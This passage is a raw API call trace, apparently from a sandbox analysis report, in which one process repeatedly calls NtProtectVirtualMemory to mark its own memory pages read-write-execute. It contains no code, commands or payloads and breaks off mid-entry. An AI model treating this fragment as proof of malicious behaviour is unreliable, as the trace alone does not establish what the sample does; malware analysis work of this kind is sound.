BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.051] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.061] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.072] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.090] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.100] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.111] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.130] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.140] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.150] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.162] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.182] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.193] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.204] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.214] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.232] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.242] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.253] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.263] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.320] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.331] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.342] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.361] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.371] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.382] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.411] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.421] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.432] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.481] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.491] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.502] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.512] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.530] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.542] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.554] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.570] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.581] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.593] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.604] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.622] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.633] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.643] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.656] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.683] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.695] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.711] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.722] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.731] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.742] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.758] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.768] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.778] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.788] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.808] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.818] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.829] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.839] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.855] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.865] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.876] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.886] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.903] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.914] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.924] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.934] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.951] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.961] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.971] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.982] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.998] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.008] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.019] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.029] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.047] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.057] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.068] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.078] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.094] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.105] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.115] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.133] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.144] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.154] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.164] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.180] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.191] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.202] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.212] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.230] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, 